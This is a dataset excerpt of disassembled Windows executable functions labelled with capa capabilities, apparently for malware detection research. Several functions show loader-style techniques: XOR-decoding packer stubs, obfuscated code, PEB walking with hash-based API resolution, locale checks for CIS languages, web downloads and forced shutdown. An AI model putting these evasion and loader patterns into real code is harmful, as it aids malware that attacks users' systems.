joyce8/EMBER2024-capa huggingface dataset:
Function at 0x62b804
Capabilities:
Check os version
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
mov ebx, eax
call fcn.00430bb8
cmp eax, 2
je 0x62b821
mov byte [ebp - 1], 1
jmp 0x62b9fd
mov byte [ebp - 1], 0
mov eax, 0x671128
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
push 0x20
push 2
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_AllocateAndInitializeSid
test eax, eax
je 0x62b9fd
xor eax, eax
push ebp
push 0x62b9f6
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
call sub.kernel32.dll_GetVersion
and eax, 0xff
cmp ax, 5
jb 0x62b88a
push 0x62ba08
push 0x62ba34
call sub.kernel32.dll_GetModuleHandleW
push eax
call fcn.0041717c
mov ebx, eax
test ebx, ebx
je 0x62b8b1
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
call ebx
test eax, eax
je 0x62b9dd
cmp dword [ebp - 0xc], 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
jmp 0x62b9dd
xor eax, eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x10]
push eax
push 0xffffffffffffffff
push 8
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.advapi32.dll_OpenThreadToken
test eax, eax
jne 0x62b902
call sub.kernel32.dll_GetLastError
cmp eax, 0x3f0
je 0x62b8e3
call fcn.0040ac10
jmp 0x62b9fd
lea eax, [ebp - 0x10]
push eax
push 8
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
jne 0x62b902
call fcn.0040ac10
jmp 0x62b9fd
xor eax, eax
push ebp
push 0x62b9d6
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 2
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_GetTokenInformation
test eax, eax
jne 0x62b945
call sub.kernel32.dll_GetLastError
cmp eax, 0x7a
je 0x62b945
call fcn.0040ac10
call fcn.0040ac10
jmp 0x62b9fd
mov eax, dword [ebp - 0x14]
call fcn.00406ffc
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
push eax
push 2
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_GetTokenInformation
test eax, eax
jne 0x62b97a
call fcn.0040ac10
call fcn.0040ac10
jmp 0x62b9fd
mov eax, dword [ebp - 0x18]
mov esi, dword [eax]
dec esi
test esi, esi
jl 0x62b9b5
inc esi
xor ebx, ebx
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + ebx*8 + 4]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_EqualSid
test eax, eax
je 0x62b9b1
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + ebx*8 + 8]
and eax, 0x14
cmp eax, 4
jne 0x62b9b1
mov byte [ebp - 1], 1
jmp 0x62b9b5
inc ebx
dec esi
jne 0x62b987
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x62b9dd
mov eax, dword [ebp - 0x18]
call fcn.00407018
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle
pop eax
jmp eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x62b9fd
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_FreeSid
pop eax
jmp eax
movzx eax, byte [ebp - 1]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x632c50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040b518
xor eax, eax
push ebp
push 0x632cf0
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.0040b424
mov eax, dword [ebp - 4]
test eax, eax
je 0x632c93
sub eax, 4
mov eax, dword [eax]
mov ebx, eax
test ebx, ebx
jle 0x632cc0
mov esi, 1
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 4]
movzx edx, word [edx + esi*2 - 2]
xor dx, di
call fcn.0040bfbc
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 8]
call fcn.0040c190
inc esi
dec ebx
jne 0x632c9e
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.0040b814
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x632cf7
lea eax, [ebp - 0x10]
call fcn.0040b424
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040b484
pop eax
jmp eax
Function at 0x636c6c
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x414], ecx
mov dword [ebp - 0x418], ecx
mov dword [ebp - 4], ecx
mov ebx, edx
mov edi, eax
lea esi, [ebp - 0x10]
xor eax, eax
push ebp
push 0x636de1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0040b424
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x418]
mov eax, dword [0x672268]
mov eax, dword [eax]
call fcn.0060c1f8
mov eax, dword [ebp - 0x418]
lea edx, [ebp - 0x414]
call fcn.004291d0
mov eax, dword [ebp - 0x414]
call fcn.0040bf9c
push eax
call sub.wininet.dll_InternetOpenW
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x636db9
xor eax, eax
push ebp
push 0x636d25
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x84000100
push 0
push 0
mov eax, edi
call fcn.0040bf9c
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetOpenUrlW
mov dword [ebp - 0xc], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x636d3f
cmp dword [ebp - 0xc], 0
jne 0x636d50
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
jmp 0x636db9
xor eax, eax
push ebp
push 0x636d9d
push dword fs:[eax]
mov dword fs:[eax], esp
push esi
push 0x400
lea eax, [ebp - 0x410]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetReadFile
lea edx, [ebp - 0x410]
lea eax, [ebp - 4]
mov ecx, dword [esi]
call fcn.0040b6dc
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.0040c190
cmp dword [esi], 0
jne 0x636d5e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x636da7
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetCloseHandle
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x636de8
lea eax, [ebp - 0x418]
mov edx, 2
call fcn.0040b484
lea eax, [ebp - 4]
call fcn.0040b424
pop eax
jmp eax
Function at 0x636df0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0x10
add esp, 0xfffff004
push eax
dec eax
jne 0x636df9
mov eax, dword [ebp - 4]
add esp, 0xfffffd98
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x1026c], ecx
mov dword [ebp - 0x10264], ecx
mov dword [ebp - 0x10268], ecx
mov edi, edx
mov esi, eax
lea ebx, [ebp - 0x10]
xor eax, eax
push ebp
push 0x637029
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x10268]
mov eax, dword [0x672268]
mov eax, dword [eax]
call fcn.0060c1f8
mov eax, dword [ebp - 0x10268]
lea edx, [ebp - 0x10264]
call fcn.004291d0
mov eax, dword [ebp - 0x10264]
call fcn.0040bf9c
push eax
call sub.wininet.dll_InternetOpenW
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x637009
xor eax, eax
push ebp
push 0x636ebc
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x84000100
push 0
push 0
mov eax, esi
call fcn.0040bf9c
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetOpenUrlW
mov dword [ebp - 0xc], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x636ed9
cmp dword [ebp - 0xc], 0
jne 0x636eed
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
jmp 0x637009
lea edx, [ebp - 0x1026c]
mov eax, edi
call fcn.00636a10
mov edx, dword [ebp - 0x1026c]
lea eax, [ebp - 0x10260]
call fcn.00407ea8
call fcn.00407170
xor eax, eax
push ebp
push 0x636f3d
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 1
lea eax, [ebp - 0x10260]
call fcn.00408dfc
call fcn.00407170
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x636f63
xor eax, eax
push ebp
push 0x636fb0
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
push 0x10000
lea eax, [ebp - 0x10010]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetReadFile
push 0
lea edx, [ebp - 0x10010]
mov ecx, dword [ebx]
lea eax, [ebp - 0x10260]
call fcn.00408098
call fcn.00407170
cmp dword [ebx], 0
jne 0x636f71
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x636fe3
lea eax, [ebp - 0x10260]
call fcn.004080b8
call fcn.00407170
mov byte [ebp - 1], 1
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetCloseHandle
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x637030
lea eax, [ebp - 0x1026c]
mov edx, 3
call fcn.0040b484
pop eax
jmp eax
Function at 0x63703c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040b518
xor eax, eax
push ebp
push 0x6370cc
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.0040b424
mov eax, dword [ebp - 4]
test eax, eax
je 0x637077
sub eax, 4
mov eax, dword [eax]
mov ebx, eax
test ebx, ebx
jle 0x6370a5
mov esi, 1
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
movzx edx, word [edx + esi*2 - 2]
xor dx, 2
call fcn.0040bfbc
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 8]
call fcn.0040c190
inc esi
dec ebx
jne 0x637082
mov eax, edi
mov edx, dword [ebp - 8]
call fcn.0040b814
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x6370d3
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040b484
pop eax
jmp eax

Function at 0x637a70
Capabilities:
Get common file path

Disassembly:
push ebx
push esi
add esp, 0xfffffdf0
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.0040b424
push esp
push esi
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
test eax, eax
jne 0x637aaa
lea eax, [esp + 4]
push eax
mov eax, dword [esp + 4]
push eax
call sub.shell32.dll_SHGetPathFromIDListW
mov edx, ebx
lea eax, [esp + 4]
call fcn.004297ac
add esp, 0x210
pop esi
pop ebx
ret
Function at 0x643284
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.0040b518
mov eax, dword [ebp - 8]
call fcn.0040b518
xor eax, eax
push ebp
push 0x643415
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x3c
call fcn.00408150
mov dword [ebp - 0x48], 0x3c
mov dword [ebp - 0x40], esi
test bl, bl
je 0x6432e0
mov dword [ebp - 0x44], 0x540
jmp 0x6432e7
mov dword [ebp - 0x44], 0x500
cmp byte [ebp + 8], 0
je 0x6432f5
mov eax, 0x643428
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 4]
call fcn.0040bf9c
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 8]
call fcn.0040bf9c
mov dword [ebp - 0x34], eax
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x48]
push eax
call sub.shell32.dll_ShellExecuteExW
test eax, eax
je 0x6433d8
test bl, bl
je 0x6433ab
cmp byte [0x679dee], 0
jne 0x64334e
cmp byte [0x679df7], 0
jne 0x64334e
mov eax, dword [0x679da4]
mov eax, dword [eax + 0x428]
call fcn.00550b88
mov eax, dword [0x679da4]
mov eax, dword [eax + 0x428]
cmp byte [eax + 0x69], 0
je 0x643364
call fcn.00643120
push 0x1f4
call sub.kernel32.dll_Sleep
mov eax, dword [0x672268]
mov eax, dword [eax]
call fcn.0060b46c
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_GetExitCodeProcess
cmp dword [ebp - 0xc], 0x103
jne 0x6433a0
mov eax, dword [0x672268]
mov eax, dword [eax]
cmp byte [eax + 0xbc], 0
je 0x64334e
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle
jmp 0x6433b8
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0xc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x4c]
call fcn.00427c58
mov edx, dword [ebp - 0x4c]
mov eax, 0x679e18
call fcn.0040b814
mov bl, 1
jmp 0x6433da
xor ebx, ebx
mov eax, dword [0x679da4]
mov eax, dword [eax + 0x428]
cmp byte [eax + 0x69], 0
je 0x6433f0
call fcn.00550b80
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x64341c
lea eax, [ebp - 0x4c]
call fcn.0040b424
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040b484
pop eax
jmp eax
Function at 0x644294
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x644381
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, ebx
call fcn.004287ec
test al, al
jne 0x644316
lea eax, [ebp - 4]
mov ecx, ebx
mov edx, 0x64439c
call fcn.0040c1e8
mov eax, dword [ebp - 4]
call fcn.0063a5d8
cmp byte [0x679dee], 0
jne 0x64430d
push 0x10
push 0x6443d8
lea ecx, [ebp - 8]
mov edx, ebx
mov eax, 0x6443f0
call fcn.0063a630
mov eax, dword [ebp - 8]
call fcn.0040bf9c
push eax
mov eax, dword [0x672268]
mov eax, dword [eax]
mov eax, dword [eax + 0x190]
push eax
call sub.user32.dll_MessageBoxW
mov byte [0x679df5], 1
jmp 0x644364
push 1
push 0
lea eax, [ebp - 0xc]
mov ecx, ebx
mov edx, 0x644428
call fcn.0040c1e8
mov eax, dword [ebp - 0xc]
call fcn.0040bf9c
push eax
push 0x644464
push 0x644480
mov eax, dword [0x672268]
mov eax, dword [eax]
mov eax, dword [eax + 0x190]
push eax
call sub.shell32.dll_ShellExecuteW
cmp byte [0x679ded], 0
je 0x644364
mov edx, ebx
mov eax, 0x644498
call fcn.0063c150
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x644388
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040b484
pop eax
jmp eax
Function at 0x65a978
Capabilities:
Shutdown system

Disassembly:
add esp, 0xffffffe8
push 0
push 2
call sub.user32.dll_ExitWindowsEx
test eax, eax
jne 0x65a9e2
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x65a9e2
lea eax, [esp + 0xc]
push eax
push 0x65a9e8
push 0
call sub.advapi32.dll_LookupPrivilegeValueW
mov dword [esp + 8], 1
mov dword [esp + 0x14], 2
lea eax, [esp + 4]
push eax
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
test eax, eax
je 0x65a9e2
push 0
push 2
call sub.user32.dll_ExitWindowsEx
add esp, 0x18
ret

Function at 0x65aa10
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, eax
mov eax, ebx
mov edx, 0x65aa90
call fcn.0040b814
xor edx, edx
push ebp
push 0x65aa43
push dword fs:[edx]
mov dword fs:[edx], esp
call sub.kernel32.dll_GetUserDefaultLangID
pop dword fs:[0]
add esp, 8
jmp 0x65aa54
cmp ax, 0x419
je 0x65aa72
cmp ax, 0x422
je 0x65aa72
cmp ax, 0x423
je 0x65aa72
cmp ax, 0x43f
je 0x65aa72
cmp ax, 0x443
jne 0x65aa7e
mov eax, ebx
mov edx, 0x65aaa8
call fcn.0040b814
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x41fc10
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
sub esp, 0x4c
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x41fd1c
test eax, eax
je 0x41fd1c
push esi
push edi
mov ecx, 0x10
mov esi, 0x43afe8
lea edi, [ebp - 0x4c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp + 0x14]
mov esi, dword [esi]
add esi, eax
mov dword [ebp - 8], esi
xor esi, esi
mov dword [ebp - 4], 0
mov ecx, eax
test edx, edx
jbe 0x41fd03
lea edi, [eax + 4]
jmp 0x41fc67
mov ebx, dword [ebp + 8]
movzx eax, byte [esi + ebx]
inc esi
shl eax, 0x10
cmp esi, edx
jne 0x41fc7c
mov dword [ebp - 4], 2
jmp 0x41fc9d
movzx ebx, byte [esi + ebx]
shl ebx, 8
inc esi
or eax, ebx
cmp esi, edx
jne 0x41fc93
mov dword [ebp - 4], 1
jmp 0x41fc9d
mov edx, dword [ebp + 8]
movzx edx, byte [esi + edx]
or eax, edx
inc esi
mov edx, eax
and edx, 0x3f
cmp edi, dword [ebp - 8]
ja 0x41fd13
mov ebx, eax
shr ebx, 0x12
and ebx, 0x3f
movzx ebx, byte [ebp + ebx - 0x4c]
mov byte [ecx], bl
mov ebx, eax
shr ebx, 0xc
and ebx, 0x3f
movzx ebx, byte [ebp + ebx - 0x4c]
inc ecx
inc edi
mov byte [ecx], bl
mov ebx, dword [ebp - 4]
inc ecx
inc edi
cmp ebx, 1
jbe 0x41fcd6
mov byte [ecx], 0x3d
jmp 0x41fce2
shr eax, 6
and eax, 0x3f
mov al, byte [ebp + eax - 0x4c]
mov byte [ecx], al
inc ecx
inc edi
test ebx, ebx
jbe 0x41fced
mov byte [ecx], 0x3d
jmp 0x41fcf3
mov dl, byte [ebp + edx - 0x4c]
mov byte [ecx], dl
mov edx, dword [ebp + 0xc]
inc ecx
inc edi
cmp esi, edx
jb 0x41fc64
mov eax, dword [ebp + 0x10]
sub ecx, eax
mov eax, dword [ebp + 0x14]
pop edi
pop esi
mov dword [eax], ecx
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10d93b8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x10d93c2
pushal
call 0x10d93c8
pop ebp
sub ebp, 0x10
sub ebp, 0xcd93b8
jmp 0x10d93de
mov eax, 0xcd93b8
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c4
mov edx, 0xda1f93d2
xor byte [eax], dl
inc eax
dec ecx
jne 0x10d93f5
jmp 0x10d9408
pop ecx
pop ds
pop ecx
pop ebx
out dx, al
rcl dl, cl
rcl byte [ebx + 0x13], cl
sub dl, dl
rcl dl, cl
rcr dword [edi], 1
push 0xffffffffffffffd7
rcl dl, cl
shr byte [eax - 6], cl
rcl dl, cl
shl byte [0x591ad130], cl
push ebx
invalid
Function at 0x1009f379
Capabilities:
Encode data using xor

Disassembly:
call fcn.1009f2d3
jmp 0x100a09ee
push eax
call fcn.1008c614
jmp 0x1009f2ce
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x39fb509
Capabilities:
Hash data with crc32

Disassembly:
jne 0x39e3d85
xor ecx, eax
stc
clc
xor edx, ebx
dec edi
jne 0x3a14641
not edx
jmp 0x39c9f75
not ecx
rol ax, cl
mov eax, edx
bswap edx
rol eax, 0x10
shl dl, cl
mov ax, cx
pop edx
cmp edx, eax
jmp 0x39e77eb
jmp 0x3a4fddf
dec dh
jmp 0x39c9b93
jae 0x39d4266
xor ax, 0x8320
cmc
test cl, ch
xor bx, 0xedb8
jmp 0x39d4266
shr bx, 1
jmp 0x3a2ef9a
je 0x3a0a62e
pop esi
test esp, esp
stc
jmp 0x3a1b343
push ebp
sal eax, cl
stc
shrd eax, ebp, 0x85
mov ebp, esp
lea esp, [esp - 4]
mov dword [ebp - 4], 0
shrd ax, bp, 0x61
add eax, esi
shr ax, 0x6f
add esp, 0xffffffec
push esi
xor eax, esp
sub si, 0x1d81
push ebx
btc esi, eax
xchg bh, al
cmp cx, 0x1c9d
push edi
bts ebx, ebx
lahf
btc edi, eax
push edx
add edi, edx
xor ax, 0x42d6
push ecx
mov eax, dword [ebp + 0x10]
rcr si, 0x68
sub edx, edx
mov edi, 0x20d60455
and si, 0x6ab9
xchg edx, eax
rol bh, cl
mov esi, 0x3c
add esi, dword [ebp + 0xc]
clc
sub di, sp
sar bx, cl
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
bt edi, 0x39
mov esi, dword [eax + 0x78]
stc
lea esi, [esi + 0x18]
movsx eax, si
lahf
bts di, di
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
cwde
cbw
jmp 0x3a29bdb
pop esi
xadd edx, ebx
btc cx, 3
dec ah
mov eax, dword [ebp - 4]
shl eax, 1
mov cl, bh
add eax, dword [ebp - 0x10]
sbb edi, ecx
sub esi, esi
cmc
movsx ebx, ax
btc ecx, esi
xchg esi, eax
mov ax, word [esi]
inc cl
btc ecx, esp
shl ax, 2
inc bl
test edx, 0x79313672
bt dx, ax
add eax, dword [ebp - 8]
jmp 0x3a33bfc
jmp 0x39c872a
push edx
cld
or dx, cx
add edx, edi
xor ecx, ecx
dec ecx
sbb edx, ebp
mov edx, ecx
cmp cx, 0x16d7
cmp edi, ebx
sub eax, eax
xor ebx, ebx
lodsb al, byte [esi]
cmp bp, 0x44e
stc
xor al, cl
cmp dl, 0x74
cmc
mov cl, ch
cmc
mov ch, dl
stc
mov dl, dh
stc
cmp bp, di
mov dh, 8
cmp eax, eax
jmp 0x39e3d85
lea esi, [esi + 4]
add dword [ebp - 4], 1
jmp 0x39ce18e
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
mov bl, 0x35
movzx ebx, bx
stosd dword es:[edi], eax
bswap bx
seta bl
cmove bx, bx
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
movsx ebx, si
add eax, dword [ebp + 0xc]
push eax
stosd dword es:[edi], eax
sub ebx, ebx
sar ebx, 0xfc
mov dword [ebp - 0xc], eax
rcl bl, cl
cmovne bx, di
or bx, 0x43dd
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
sub bl, 0x89
rcr bh, 0x38
sbb si, 0x6584
mov dword [ebp - 0x10], eax
rcl ah, 0xbc
sub bl, 0x9f
pop esi
rol ah, 0xce
jmp 0x3a4fdd1
rcr ax, 1
jmp 0x39d7b07
xchg esi, eax
cmc
adc cl, 0x98
mov eax, dword [esi]
sal bh, cl
sar ecx, 0xaa
shr dh, cl
add eax, dword [ebp + 0xc]
cwd
pop ecx
movsx edi, di
pop edx
xchg ebx, edi
mov edi, ebp
pop edi
pop ebx
pop esi
jmp 0x3a4df75
jne 0x3a4fdf6
pop esi
sub edi, ebx
jmp 0x3a1462c
mov dword [ebp - 4], eax
cbw
mov eax, dword [ebp - 4]
jmp 0x3a0cb6f
mov dword [ebp - 4], 0
setno ah
test esp, ebp
sub eax, ebp
push esi
bts eax, ecx
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
neg bx
inc bh
xchg edi, eax
mov ebx, edi
stc
cmc
push edi
xor al, al
stc
scasb al, byte es:[edi]
jmp 0x3a3d1dc
Function at 0x39ffa31
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
jmp 0x39c8641
mov esi, dword [edx + 0x28]
jmp 0x3a2b349
push ebp
xor bp, 0x113d
and bp, ax
movzx ecx, bx
mov ebp, esp
or cl, 0x24
sub esp, 4
jmp 0x3a310e4
jmp 0x3a08773
loop 0x3a0877a
jmp 0x3a4611e
jmp 0x3a0fe6f
xor eax, eax
lodsb al, byte [esi]
stc
cmp al, 0x61
jl 0x3a16aca
sub al, 0x20
jmp 0x3a16aca
mov edx, dword [edx]
jmp 0x3a1773c
ror edi, 0xd
cmp bp, si
add edi, eax
jmp 0x3a0827e
jne 0x39e2a85
mov eax, ebx
mov dword [ebp - 4], eax
movzx eax, bx
mov eax, dword [ebp - 4]
jmp 0x39cb694
push 0x18
sal cx, cl
shrd ecx, ecx, 0x7e
dec cx
pop ecx
test edi, edi
sub edi, edi
jmp 0x3a0fe6f
mov dword [ebp - 4], 0
jmp 0x3a3e5f9
cld
sub edx, edx
shrd ecx, edi, 0x24
bts cx, dx
mov edx, dword fs:[edx + 0x30]
test ebp, 0x4c8b3de9
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
bsf cx, si
jmp 0x39e2a85
cmp edi, 0x6a4abc5b
xchg bx, bx
movsx bx, ah
mov ebx, dword [edx + 0x10]
jmp 0x3a16772